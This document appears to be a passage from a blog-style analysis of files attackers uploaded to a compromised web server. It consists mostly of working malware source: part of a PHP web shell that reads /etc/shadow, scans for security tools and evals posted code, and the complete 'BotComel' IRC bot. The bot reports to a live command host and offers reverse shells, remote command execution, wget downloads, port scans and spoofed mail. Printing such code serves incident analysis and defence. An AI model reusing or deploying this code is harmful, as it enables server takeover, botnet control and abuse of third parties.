$i .= (($p & 0x0002) ? 'w' : '-');    $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));    return $i;}function viewPermsColor($f) {     if (!@is_readable($f))        return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';    elseif (!@is_writable($f))        return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';    else        return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';}if(!function_exists("scandir")) {    function scandir($dir) {        $dh  = opendir($dir);        while (false !== ($filename = readdir($dh))) {            $files[] = $filename;        }        return $files;    }}function which($p) {    $path = ex('which '.$p);    if(!empty($path))        return $path;    return false;}function actionSecInfo() {    printHeader();    echo '<h1>Server security information</h1><div class=content>';    function showSecParam($n, $v) {        $v = trim($v);        if($v) {            echo '<span>'.$n.': </span>';            if(strpos($v, "\n") === false)                echo $v.'<br>';            else                echo '<pre class=ml1>'.$v.'</pre>';        }    }        showSecParam('Server software', @getenv('SERVER_SOFTWARE'));    showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');    showSecParam('Open base dir', @ini_get('open_basedir'));    showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));    showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));    showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');    $temp=array();    if(function_exists('mysql_get_client_info'))        $temp[] = "MySql (".mysql_get_client_info().")";    if(function_exists('mssql_connect'))        $temp[] = "MSSQL";    if(function_exists('pg_connect'))        $temp[] = "PostgreSQL";    if(function_exists('oci_connect'))        $temp[] = "Oracle";    showSecParam('Supported databases', implode(', ', $temp));    echo '<br>';        if( $GLOBALS['os'] == 'nix' ) {        $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');        $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');        $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');        showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');        showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');        showSecParam('OS version', @file_get_contents('/proc/version'));        showSecParam('Distr name', @file_get_contents('/etc/issue.net'));        if(!$GLOBALS['safe_mode']) {            echo '<br>';            $temp=array();            foreach ($userful as $item)                if(which($item)){$temp[]=$item;}            showSecParam('Userful', implode(', ',$temp));            $temp=array();            foreach ($danger as $item)                if(which($item)){$temp[]=$item;}            showSecParam('Danger', implode(', ',$temp));            $temp=array();            foreach ($downloaders as $item)                 if(which($item)){$temp[]=$item;}            showSecParam('Downloaders', implode(', ',$temp));            echo '<br/>';            showSecParam('Hosts', @file_get_contents('/etc/hosts'));            showSecParam('HDD space', ex('df -h'));            showSecParam('Mount options', @file_get_contents('/etc/fstab'));        }    } else {        showSecParam('OS Version',ex('ver'));         showSecParam('Account Settings',ex('net accounts'));         showSecParam('User Accounts',ex('net user'));    }    echo '</div>';    printFooter();}function actionPhp() {    if( isset($_POST['ajax']) ) {        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;        ob_start();        eval($_POST['p1']);        $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";        echo strlen($temp), "\n", $temp;        exit;     }    printHeader();    if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {        echo '<h1>PHP info</h1><div class=content>';        ob_start();        phpinfo();        $tmp = ob_get_clean();        $tmp = preg_replace('!body {.*}!msiU','',$tmp);        $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);        $tmp = preg_replace('!h1!msiU','h2',$tmp);        $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);        $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);        echo $tmp;        echo '</div><br>';    }    if(empty($_POST['ajax'])&&!empty($_POST['p1']))        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;        echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'

 


Looking at the file from the web browser we notice the request for the password,


password protected


Easy to find out with a google search, 161498ff7b638f5e5c0d5e32fab5470b is “syurga”, and we have another php web shell installation.


another shell


Finally another file kindly uploaded from the attackers,



   1: <?php
   2: /**
   3:  * @PHP BotComel.Private v2 Created by Ahlspiess
   4:  * @Info: Written under PHP 5.2.6 Windows Vista SP2
   5:  */
   6: /**
   7:  * @List CMD
   8:     !bcon = backconnect
   9:     !http = request web
  10:     !info = print info
  11:     !restart = reconnect bot
  12:     !pwd = print current working dir
  13:     !cd = change dir
  14:     !raw = exec mirc cmd
  15:     !exec = exec shell cmd
  16:     !download = download file
  17:     !quit = close bot connection
  18:     !pscan = scan open port
  19:     !mail = send an email
  20:  */
  21:  
  22: if(preg_match("/google|msn|yahoo|bot|spider|crawler|archive/", strtolower($_SERVER['HTTP_USER_AGENT']))) {
  23:     header('HTTP/1.0 404 Not Found');
  24:     exit;
  25: }
  26:  
  27: @set_time_limit(0); 
  28: @error_reporting(0);
  29: define('DS', DIRECTORY_SEPARATOR);
  30: define('__THIS__', 'BotComel');
  31: define('BotVersion', 'BotComel Version 3-prv');
  32: class BotComel {
  33:     
  34:     var $config = array('server' => 'ahlisyurga.no-ip.org', // Server IP/Hostname
  35:                         'port' => 443, // Server Port
  36:                         'chan' => '#emotoy', // Channel
  37:                         'cmdprefix' => '!', // Command Prefix
  38:                         'password' => 'd74bedca82df091bb83e43cb10785da6', // Password: md5 encryption, default: botcomel
  39:                         'debug' => false // debug kene guna cli
  40:                         );
  41:                         
  42:     var $users = array();
  43:     
  44:     function init() {
  45:         if(!($this->connection = fsockopen($this->config['server'], $this->config['port'], $e, $s, 30)))
  46:             {
  47:                 $this->init();
  48:             }
  49:         $ident = md5(time());
  50:         $this->send("USER $ident 127.0.0.1 localhost :$ident");
  51:         $this->getNick();
  52:         $this->start();
  53:     }
  54:     
  55:     function start() {
  56:         while(!feof($this->connection))
  57:             {
  58:                 $this->buffer = trim(fgets($this->connection, 512));
  59:                 $cmd = explode(" ", $this->buffer);
  60:                 if(substr($this->buffer, 0, 6) == "PING :") 
  61:                     { 
  62:                         $this->send("PONG :".substr($this->buffer, 6));
  63:                         $this->pingged = 1;
  64:                     }
  65:                 if(isset($cmd[1]))
  66:                     {
  67:                         if($cmd[1] == '001')
  68:                             {
  69:                                 $this->join($this->config['chan']);
  70:                             }
  71:                         if($cmd[1] == '443')
  72:                             {
  73:                                 $this->getNick();
  74:                             }
  75:                     }
  76:                 if($this->buffer != $old_buffer)
  77:                     {
  78:                         $mcmd = array();
  79:                         $msg = substr(strstr($this->buffer, " :"), 2);
  80:                         $msgcmd = explode(" ", $msg);
  81:                         $nick = explode("!", $cmd[0]);
  82:                         $vhost = explode("@", $nick[1]);
  83:                         $vhost = $vhost[1];
  84:                         $nick = substr($nick[0], 1);
  85:                         $host = $cmd[0];
  86:                         if($msgcmd[0] == $this->nick)
  87:                             {
  88:                                 for($i=0;$i<count($msgcmd);$i++)
  89:                                     {
  90:                                         $mcmd[$i] = $msgcmd[$i+1];
  91:                                     }
  92:                             }
  93:                             else
  94:                             {
  95:                                 for($i=0;$i<count($msgcmd);$i++)
  96:                                     {
  97:                                         $mcmd[$i] = $msgcmd[$i];
  98:                                     }
  99:                             }
 100:                         if(count($cmd) > 2)
 101:                             {
 102:                                 switch($cmd[1])
 103:                                     {
 104:                                         case 'PART':
 105:                                         case 'LOGOUT':
 106:                                             if($this->isLoggedIn($host))
 107:                                                 {
 108:                                                     $this->logOut($host);
 109:                                                 }
 110:                                             break;
 111:                                         
 112:                                         /**
 113:                                          * @Start Command args
 114:                                          */
 115:                                         case 'PRIVMSG':
 116:                                             if(!$this->isLoggedIn($host))
 117:                                                 {
 118:                                                     if(substr($mcmd[0], 0, 1) == $this->config['cmdprefix'])
 119:                                                         {
 120:                                                             switch(substr($mcmd[0], 1))
 121:                                                                 {
 122:                                                                     /**
 123:                                                                      * @Description: Login to bot.
 124:                                                                      * @Usage: !login password
 125:                                                                      */
 126:                                                                     case 'login':
 127:                                                                         if(md5($mcmd[1]) == $this->config['password'])
 128:                                                                             {
 129:                                                                                 $this->notice($nick, "Welcome Admin!");
 130:                                                                                 $this->logIn($host);
 131:                                                                             }
 132:                                                                             else
 133:                                                                             {
 134:                                                                                 $this->notice($nick, "Incorrect Password!");
 135:                                                                             }
 136:                                                                         break;
 137:                                                                 }
 138:                                                         }
 139:                                                 }
 140:                                                 elseif($this->isLoggedIn($host))
 141:                                                     {
 142:                                                         if(substr($mcmd[0], 0, 1) == $this->config['cmdprefix'])
 143:                                                             {
 144:                                                                 switch(substr($mcmd[0], 1))
 145:                                                                     {
 146:                                                                         case 'host':
 147:                                                                             $this->mes($this->config['chan'], "Host: ".$_SERVER['HTTP_HOST']);
 148:                                                                             break;
 149:                                                                         /**
 150:                                                                          * @Description: Backconnect Shell
 151:                                                                          * @Usage: !bcon ip port
 152:                                                                          * @Example: !bcon 127.0.0.1 1337
 153:                                                                          */
 154:                                                                         case 'bcon':
 155:                                                                             if(count($mcmd) > 2)
 156:                                                                                 {
 157:                                                                                     $this->mes($this->config['chan'], "4Warning: Bot might Ping Time Out soon");
 158:                                                                                     if($this->ableFunc('pnctl_fork'))
 159:                                                                                         {
 160:                                                                                             $pid = pnctl_fork();
 161:                                                                                             if($pid)
 162:                                                                                                 {
 163:                                                                                                     $this->mes($this->config['chan'], "pcntl_fork is supported! Forked!");
 164:                                                                                                     $this->backconnect($nick, $mcmd[1], $mcmd[2]);
 165:                                                                                                 }
 166:                                                                                                 else
 167:                                                                                                 {
 168:                                                                                                     $this->mes($this->config['chan'], "Unable to fork! Using normal way!");
 169:                                                                                                     $this->backconnect($nick, $mcmd[1], $mcmd[2]);
 170:                                                                                                 }
 171:                                                                                         }
 172:                                                                                         else
 173:                                                                                         {
 174:                                                                                             $this->mes($this->config['chan'], "Unable to fork! Using normal way!");
 175:                                                                                             $this->backconnect($nick, $mcmd[1], $mcmd[2]);
 176:                                                                                         }
 177:                                                                                 }
 178:                                                                         break;
 179:                                                                         
 180:                                                                         /**
 181:                                                                          * @Description: Change Bot Nick.
 182:                                                                          * @Usage: !resetnick
 183:                                                                          */
 184:                                                                         case 'resetnick':
 185:                                                                             $this->getNick();
 186:                                                                             break;
 187:                                                                             
 188:                                                                         /**
 189:                                                                          * @Description: Kill Bot.
 190:                                                                          * @Usage: !quit
 191:                                                                          */
 192:                                                                         case 'quit':
 193:                                                                                 $this->send("QUIT :die command from $nick");
 194:                                                                                 fclose($this->connection);
 195:                                                                                 unset($this->users);
 196:                                                                                 exit;
 197:                                                                             break;
 198:                                                                             
 199:                                                                         /**
 200:                                                                          * @Description: Restart bot connection.
 201:                                                                          * @Usage: !restart
 202:                                                                          */
 203:                                                                         case 'restart':
 204:                                                                                 $this->send("QUIT :restart");
 205:                                                                                 fclose($this->connection);
 206:                                                                                 unset($this->users);
 207:                                                                                 $this->init();
 208:                                                                             break;
 209:                                                                             
 210:                                                                         /**
 211:                                                                          * @Description: Print *Basic* Server Information.
 212:                                                                          * @Usage: !info
 213:                                                                          */
 214:                                                                         case 'info':
 215:                                                                                 $this->mes($this->config['chan'], "-======= [[8".BotVersion."]] ======-");
 216:                                                                                 $this->mes($this->config['chan'], "HOST/IP: [8".$_SERVER['HTTP_HOST']." /8 ".@getenv('SERVER_ADDR')."]");
 217:                                                                                 $this->mes($this->config['chan'], "PHP Version: [8 ".phpversion()." ]");
 218:                                                                                 $this->mes($this->config['chan'], "PHP Safe Mode: [".$this->safeMode()."]");
 219:                                                                                 $this->mes($this->config['chan'], "PHP Disable Function: [".$this->disabledFunc()."]");
 220:                                                                                 $this->mes($this->config['chan'], "".$this->userInfo()."");
 221:                                                                                 $this->mes($this->config['chan'], "PHP Uname: [8".php_uname('a')."]");
 222:                                                                                 $this->mes($this->config['chan'], 'HDD: [8 '.$this->hdd("used").' Free:8 '.$this->hdd("free").' Total:8 '.$this->hdd("total").' ]');
 223:                                                                                 $this->mes($this->config['chan'], "Server Software: [8".$_SERVER['SERVER_SOFTWARE']."]");
 224:                                                                                 if(preg_match("/ON/", $this->safeMode()))
 225:                                                                                     {
 226:                                                                                         $this->mes($this->config['chan'], "Safe mode exec dir: [8".@ini_get('safe_mode_exec_dir')."]");
 227:                                                                                         $this->mes($this->config['chan'], "Safe mode include dir: [8".@ini_get('safe_mode_exec_dir')."]");
 228:                                                                                     }
 229:                                                                                 $this->mes($this->config['chan'], "cURL support: [".$this->supportedCurl()."]");
 230:                                                                                 $this->mes($this->config['chan'], "Supported Database: ".$this->supportedDatabase()."");
 231:                                                                             break;
 232:                                                                             
 233:                                                                         /**
 234:                                                                          * @Description: Execute Irc raw Command.
 235:                                                                          * @Usage: !raw cmd
 236:                                                                          * @Example: !raw JOIN #newchan
 237:                                                                          */
 238:                                                                         case "raw":
 239:                                                                             $this->send(strstr($msg, $mcmd[1]));
 240:                                                                         break;
 241:                                                                         
 242:                                                                         /**
 243:                                                                          * @Description: Print current bot working dir.
 244:                                                                          * @Usage: !pwd
 245:                                                                          */
 246:                                                                         case 'pwd':
 247:                                                                             $this->mes($this->config['chan'], "Currently at: ".getcwd());
 248:                                                                         break;
 249:                                                                         
 250:                                                                         /**
 251:                                                                          * @Description: Download remote file and save *locally*.
 252:                                                                          * @Usage: !download url output
 253:                                                                          * @Example: !download http://site.tld/myfile.txt file.txt
 254:                                                                          * @Extra Note: Server will download myfile.txt from site.tld and save as file.txt.
 255:                                                                          */
 256:                                                                         case 'download':
 257:                                                                             if(count($mcmd) > 2)
 258:                                                                                 {
 259:                                                                                     if(!is_writeable(getcwd()))
 260:                                                                                         {
 261:                                                                                             $this->mes($this->config['chan'], "You doesn't have permission in current directory!");
 262:                                                                                         }
 263:                                                                                         else
 264:                                                                                         {
 265:                                                                                             $this->downloadFile($mcmd[1], $mcmd[2]);
 266:                                                                                         }
 267:                                                                                 }
 268:                                                                         break;
 269:                                                                         
 270:                                                                         /**
 271:                                                                          * @Description: Change working bot dir.
 272:                                                                          * @Usage: !cd dir
 273:                                                                          * @example: !cd /etc
 274:                                                                          */
 275:                                                                         case 'cd':
 276:                                                                             if(isset($mcmd[1]))
 277:                                                                                 {
 278:                                                                                     if(chdir($mcmd[1]))
 279:                                                                                         {
 280:                                                                                             $this->mes($this->config['chan'], "Succesfully changed directory!");
 281:                                                                                         }
 282:                                                                                         else
 283:                                                                                         {
 284:                                                                                             $this->mes($this->config['chan'], "Unable to change directory!");
 285:                                                                                         }
 286:                                                                                 }
 287:                                                                         break;
 288:                                                                         
 289:                                                                         /**
 290:                                                                          * @Description: So-called open port scan.
 291:                                                                          * @Usage: !pscan ip port
 292:                                                                          * @Example: !pscan 127.0.0.1 80
 293:                                                                          */
 294:                                                                         case 'pscan':
 295:                                                                             if(count($mcmd) > 2)
 296:                                                                                 {
 297:                                                                                     if(fsockopen($mcmd[1], $mcmd[2], $e, $s, 15))
 298:                                                                                         {
 299:                                                                                             $this->mes($this->config['chan'],"IP: [8 ".$mcmd[1]." ] Port: [8 ".$mcmd[2]." ] Status: [8 Open ]");
 300:                                                                                         }
 301:                                                                                         else
 302:                                                                                         {
 303:                                                                                             $this->mes($this->config['chan'],"IP: [8 ".$mcmd[1]." ] Port: [8 ".$mcmd[2]." ] Status: [4 Close ]");
 304:                                                                                         }
 305:                                                                                 }
 306:                                                                         break;
 307:                                                                         
 308:                                                                         /**
 309:                                                                          * @Description: Execute command
 310:                                                                          * @Usage: !exec mycommand
 311:                                                                          * @Example: !exec cat /etc/hosts
 312:                                                                          */
 313:                                                                         case 'exec':
 314:                                                                             if(isset($mcmd[1])) 
 315:                                                                                 {
 316:                                                                                     if($this->ableFunc('popen'))
 317:                                                                                         {
 318:                                                                                             $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0])+1);
 319:                                                                                             $this->mes($this->config['chan'], "Executing $command");
 320:                                                                                             $pipe = popen($command, "r");
 321:                                                                                             while(!feof($pipe))
 322:                                                                                             {
 323:                                                                                                 $pbuf = trim(fgets($pipe, 512));
 324:                                                                                                 if($pbuf != NULL)
 325:                                                                                                     {
 326:                                                                                                         $this->mes($this->config['chan'], ": $pbuf");
 327:                                                                                                     }
 328:                                                                                             }
 329:                                                                                           pclose($pipe);
 330:                                                                                         }
 331:                                                                                         elseif($this->ableFunc('shell_exec'))
 332:                                                                                             {
 333:                                                                                                 $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0])+1);
 334:                                                                                                 $this->mes($this->config['chan'], "Executing $command");
 335:                                                                                                 $exec = shell_exec($command);
 336:                                                                                                 $ret = explode("\n", $exec);
 337:                                                                                                 for($i=0;$i<count($ret);$i++)
 338:                                                                                                     {
 339:                                                                                                     if($ret[$i]!=NULL)
 340:                                                                                                         {
 341:                                                                                                             $this->mes($this->config['chan'], ": ".trim($ret[$i]));
 342:                                                                                                         }
 343:                                                                                                     }
 344:                                                                                             }
 345:                                                                                             else
 346:                                                                                             {
 347:                                                                                                 $this->mes($this->config['chan'], "Unable to execute $command, function has been disabled(maybe?).");
 348:                                                                                             }
 349:                                                                                 }
 350:                                                                             break;
 351:                                                                             
 352:                                                                         /**
 353:                                                                          * @Description: Send a http request.
 354:                                                                          * @Usage: !http site
 355:                                                                          * @Example: !http http://mysite.com/file.php
 356:                                                                          */
 357:                                                                         case 'http':
 358:                                                                             if(isset($mcmd[1]))
 359:                                                                                 {
 360:                                                                                     $site = parse_url($mcmd[1]);
 361:                                                                                     if(!isset($site['scheme']))
 362:                                                                                         {
 363:                                                                                             $url = "http://".$mcmd[1];
 364:                                                                                         }
 365:                                                                                         else
 366:                                                                                         {
 367:                                                                                             $url = $mcmd[1];
 368:                                                                                         }
 369:                                                                                     $this->reqhttp($url);
 370:                                                                                 }
 371:                                                                             break;
 372:                                                                         
 373:                                                                         /**
 374:                                                                          * @Description: Send an email
 375:                                                                          * @Usage: Sender+name sender-email target my+subject msg
 376:                                                                          * @Example: !mail EmotoyGay emeotoy@gay.kom my.mail@gmail.com kenyataan+tergempar+dari+emotoy saya sebenarnya gay
 377:                                                                          * @Note: symbol + kat nama dengan subjek akan digantikan dengan space.
 378:                                                                          */
 379:                                                                         case 'mail':
 380:                                                                             if(count($mcmd) > 5)
 381:                                                                                 {
 382:                                                                                     $nama = $mcmd[1];
 383:                                                                                     $from = $mcmd[2];
 384:                                                                                     $to = $mcmd[3];
 385:                                                                                     $sbj = $mcmd[4];
 386:                                                                                     if(strpos($nama, "+"))
 387:                                                                                         {
 388:                                                                                             $nama = str_replace("+", " ", $nama);
 389:                                                                                         }
 390:                                                                                     if(strpos($sbj, "+"))
 391:                                                                                         {
 392:                                                                                             $sbj = str_replace("+", " ", $sbj);
 393:                                                                                         }
 394:                                                                                     $header = "From: ".$nama."<".$from.">";
 395:                                                                                     if(mail($to, $sbj, strstr($msg, $mcmd[5]), $header))
 396:                                                                                         {
 397:                                                                                             $this->notice($nick, "Message sent to ".$to);
 398:                                                                                         }
 399:                                                                                         else
 400:                                                                                         {
 401:                                                                                             $this->notice($nick, "Unable to send.");
 402:                                                                                         }
 403:                                                                                 }
 404:                                                                                 else
 405:                                                                                 {
 406:                                                                                     $this->notice($nick, "!mail dari-nama dari-email kepada subjek msg");                                                                                }
 407:                                                                             break;
 408:                                                                     }
 409:                                                             }
 410:                                                     }
 411:                                             break;
 412:                                     }
 413:                             }
 414:                     }
 415:                 if($this->config['debug'] == true)
 416:                     {
 417:                         print $this->buffer."\r\n";
 418:                     }
 419:                 $old_buffer = $this->buffer;
 420:             }
 421:         if(feof($this->connection))
 422:             {
 423:                 $this->init();
 424:             }
 425:         $this->init();
 426:     }
 427:     
 428:     function notice($nick, $msg) {
 429:         $this->send("NOTICE $nick :$msg");
 430:     }
 431:     
 432:     function reqhttp($url) {
 433:         $site = parse_url($url);
 434:         if(!isset($site['path']))
 435:             {
 436:                 $site['path'] = "/";
 437:             }
 438:         $payload =
 439:                 "GET %s HTTP/1.0\r\n".
 440:                 "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* \r\n".
 441:                 "Accept-Language: en-us\r\n".
 442:                 "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n".
 443:                 "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)\r\n".
 444:                 "Pragma: no-cache\r\n".
 445:                 "Host: %s\r\n".
 446:                 "Referer: http://base64.derefer.me/?%s\\r\n".
 447:                 "Keep-Alive: timeout=5, max=100\r\n".
 448:                 "Connection: Keep-Alive\r\n\r\n";
 449:         $finalpayload = sprintf($payload, $site['path'], $site['host'], base64_encode($url));
 450:         $sock = @fsockopen($site['host'], 80, $errno, $errstr, 30);
 451:         if(!$sock)
 452:             {
 453:                 $this->mes($this->config['chan'], "$errstr");
 454:             }
 455:             else
 456:             {
 457:                 @fwrite($sock, $finalpayload);
 458:                 $status = @fgets($sock, 2000);
 459:                 $this->mes($this->config['chan'], "HTTP Status: [ ".$status." ]");
 460:                 @fclose($sock);
 461:             }
 462:     }
 463:     
 464:     function backconnect($nick, $ip, $port) {
 465:         $shell = '/bin/sh -i';
 466:         #$shell = 'cmd';
 467:         $chunk_size = 1400;
 468:         $write_a = null;
 469:         $error_a = null;
 470:         chdir("/");
 471:         umask(0);
 472:         $sock = fsockopen($ip, $port, $errno, $errstr, 30);
 473:         if(!$sock)
 474:             {
 475:                 $this->notice($nick, "Unable to connect!");
 476:             }
 477:         $descriptorspec = array(
 478:                         0 => array("pipe", "r"),
 479:                         1 => array("pipe", "w"),
 480:                         2 => array("pipe", "w")
 481:                         );
 482:         $process = proc_open($shell, $descriptorspec, $pipes);
 483:         if (!is_resource($process)) {
 484:             $this->notice($nick, "ERROR: Can't spawn shell");
 485:         }
 486:         stream_set_blocking($pipes[0], 0);
 487:         stream_set_blocking($pipes[1], 0);
 488:         stream_set_blocking($pipes[2], 0);
 489:         stream_set_blocking($sock, 0);
 490:         $this->mes($this->config['chan'], "Successfully opened reverse shell");
 491:         while(!feof($sock))
 492:             {
 493:                 $read_a = array($sock, $pipes[1], $pipes[2]);
 494:                 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
 495:                 if(in_array($sock, $read_a))
 496:                     {
 497:                         $input = fread($sock, $chunk_size);
 498:                         fwrite($pipes[0], $input);
 499:                     }
 500:                 if(in_array($pipes[1], $read_a))
 501:                     {
 502:                         $input = fread($pipes[1], $chunk_size);
 503:                         fwrite($sock, $input);
 504:                     }
 505:                 if(in_array($pipes[2], $read_a))
 506:                     {
 507:                         $input = fread($pipes[2], $chunk_size);
 508:                         fwrite($sock, $input);
 509:                     }
 510:             }
 511:         fclose($sock);
 512:         fclose($pipes[0]);
 513:         fclose($pipes[1]);
 514:         fclose($pipes[2]);
 515:         proc_close($process);
 516:     }
 517:     
 518:     function execve($cmd) {
 519:       if($this->ableFunc("exec"))
 520:         {
 521:             exec($cmd, $o);
 522:             $return = join("\r\n", $o);
 523:         }
 524:         elseif($this->ableFunc("shell_exec"))
 525:             {
 526:                 $return = shell_exec($cmd);
 527:             }
 528:             elseif($this->ableFunc("system"))
 529:                 {
 530:                     @ob_start();
 531:                     @system($cmd);
 532:                     $return = @ob_get_contents();
 533:                     @ob_end_clean();
 534:                 }  
 535:                 elseif($this->ableFunc("passthru"))
 536:                     {
 537:                         @ob_start();
 538:                         @passthru($cmd);
 539:                         $return = @ob_get_contents();
 540:                         @ob_end_clean();
 541:                     }
 542:                     elseif($this->ableFunc("popen") && is_resource($h = popen($cmd.' 2>&1', 'r')))
 543:                         {
 544:                             while(!feof($h))
 545:                                 {
 546:                                     $return .= fread($h, 2096);
 547:                                 }
 548:                             pclose($h);
 549:                         }
 550:                     else
 551:                         {
 552:                             $return = 0;
 553:                         }
 554:       return $return;
 555:     }
 556:     
 557:     function downloadFile($url, $filename) {
 558:         $out = '';
 559:         if((ini_get('allow_url_fopen') == 1) || (strtolower(ini_get('allow_url_fopen')) == "on"))
 560:             {
 561:                 $fopen = @fopen(getcwd().DS.$filename, 'w');
 562:                 @fwrite($fopen, file_get_contents($url));
 563:                 @fclose($fopen);
 564:                 $this->mes($this->config['chan'], "Succesfully Download8" .$url." and Saved at8 ".getcwd().DS.$filename."");
 565:             }
 566:             elseif(execve("wget $url -O $filename"))
 567:                 {
 568:                     $this->mes($this->config['chan'], "Succesfully Download8" .$url." and Saved at8 ".getcwd().DS.$filename."");
 569:                 }
 570:                 else
 571:                 {
 572:                 $this->mes($this->config['chan'], "Unable to download file!");
 573:                 }
 574:     }
 575:     
 576:     function supportedCurl() {
 577:         if(function_exists('curl_version'))
 578:             {
 579:                 return "8Yes";
 580:             }
 581:             else
 582:             {
 583:                 return "4No";
 584:             }
 585:     }
 586:     
 587:     function disabledFunc() {
 588:         $func = ini_get("disable_functions");
 589:         if($func)
 590:             {
 591:                 return "4".$func."";
 592:             }
 593:             else
 594:             {
 595:                 return "8None";
 596:             }
 597:     }
 598:     
 599:     function supportedDatabase() {
 600:         $temp=array();
 601:             if(function_exists('mysql_get_client_info'))
 602:                 $temp[] = "8MySql (".mysql_get_client_info().")";
 603:             if(function_exists('mssql_connect'))
 604:                 $temp[] = "8MSSQL";
 605:             if(function_exists('pg_connect'))
 606:                 $temp[] = "8PostgreSQL";
 607:             if(function_exists('oci_connect'))
 608:                 $temp[] = "8Oracle";
 609:     return implode(', ', $temp);
 610:  
 611:     }
 612:     
 613:     function safeMode() {
 614:         return (@ini_get("safe_mode") OR eregi("on", @ini_get("safe_mode"))) ? "4ON" : "8OFF";
 615:     }
 616:     
 617:     function mes($to, $msg) { 
 618:         $this->send("PRIVMSG $to :$msg"); 
 619:     }
 620:     
 621:     function isLoggedIn($host) {
 622:         if(isset($this->users[$host]))
 623:             {
 624:                 return 1;
 625:             }
 626:             else
 627:             {
 628:                 return 0;
 629:             }
 630:     }
 631:     
 632:     function logOut($host) {
 633:         unset($this->users[$host]);
 634:     }
 635:     
 636:     function logIn($host) {
 637:         $this->users[$host] = true;
 638:     }
 639:     
 640:     function join($chan) {
 641:         $this->send("JOIN ".$chan);
 642:     }
 643:     
 644:     function getNick() {
 645:         $this->nick = "[".PHP_OS."][".$this->getCurrentUser()."]Botz-".rand(1,99);
 646:         $this->send("NICK ".$this->nick."");
 647:     }
 648:     
 649:     function getCurrentUser() {
 650:         if($this->ableFunc('get_current_user'))
 651:             {
 652:                 return get_current_user();
 653:             }
 654:             elseif($this->ableFunc('posix_getpwuid') AND $this->ableFunc('posix_geteuid'))
 655:                 {
 656:                     $owner = $processUser = posix_getpwuid(posix_geteuid());
 657:                     return $owner['name'];
 658:                 }
 659:                 else
 660:                     {
 661:                         return "Nobody";
 662:                     }
 663:     }
 664:     
 665:     function ableFunc($func) {
 666:         return (function_exists($func) && is_callable($func) && !in_array($func, $this->getdisfunc())) ? TRUE : FALSE;
 667:     }
 668:     
 669:     function getdisfunc() {
 670:         $func = explode(",", @ini_get("disable_functions"));
 671:         return (!empty($func)) ? $func : array();
 672:     }
 673:     
 674:     function send($t) {
 675:         @fputs($this->connection, $t."\r\n");
 676:     }
 677:     
 678:     function vsize($size) {
 679:       if (!is_numeric($size)) { return FALSE; }
 680:       else {
 681:         if ( $size >= 1073741824 ) { $size = round($size/1073741824*100)/100 ." GB"; }
 682:         elseif ( $size >= 1048576 ) { $size = round($size/1048576*100)/100 ." MB"; }
 683:         elseif ( $size >= 1024 ) { $size = round($size/1024*100)/100 ." KB"; }
 684:         else { $size = $size . " B"; }
 685:         return $size;
 686:       }
 687:     }
 688:     
 689:     function hdd($type) {
 690:         $P = @getcwd();
 691:         $T = @disk_total_space($P);
 692:         $F = @disk_free_space($P);
 693:         $U = $T - $U;
 694:         $hddspace = array("total" => $this->vsize($T), "free"  => $this->vsize($F), "used"  => $this->vsize($U));
 695:         return $hddspace[$type];
 696:     }
 697:  
 698:     function userInfo() {
 699:         if(!$this->ableFunc('posix_getegid'))
 700:             {
 701:                 $user = @get_current_user();
 702:                 $uid = @getmyuid();
 703:                 $gid = @getmygid();
 704:                 $group = "?";
 705:                 return "User: [8 ".$user." ] UID/GID: [8 ".$uid."/8 ".$gid." ] Group: [8 ".$group." ]";
 706:             }
 707:             else
 708:             {
 709:                 $uid = @posix_getpwuid(@posix_geteuid());
 710:                 $gid = @posix_getgrgid(@posix_getegid());
 711:                 $user = $uid['name'];
 712:                 $uid = $uid['uid'];
 713:                 $group = $gid['name'];
 714:                 $gid = $gid['gid'];
 715:                 return "User: [".$user."] UID/GID: [".$uid."/".$gid."] Group: [".$group."]";
 716:             }
 717:     }
 718:     
 719:     function stop() {
 720:         fclose($this->connection);
 721:         exit;
 722:     }
 723:  
 724: }
 725:  
 726: $bot = new BotComel;
 727: $bot->init();
 728: ?>
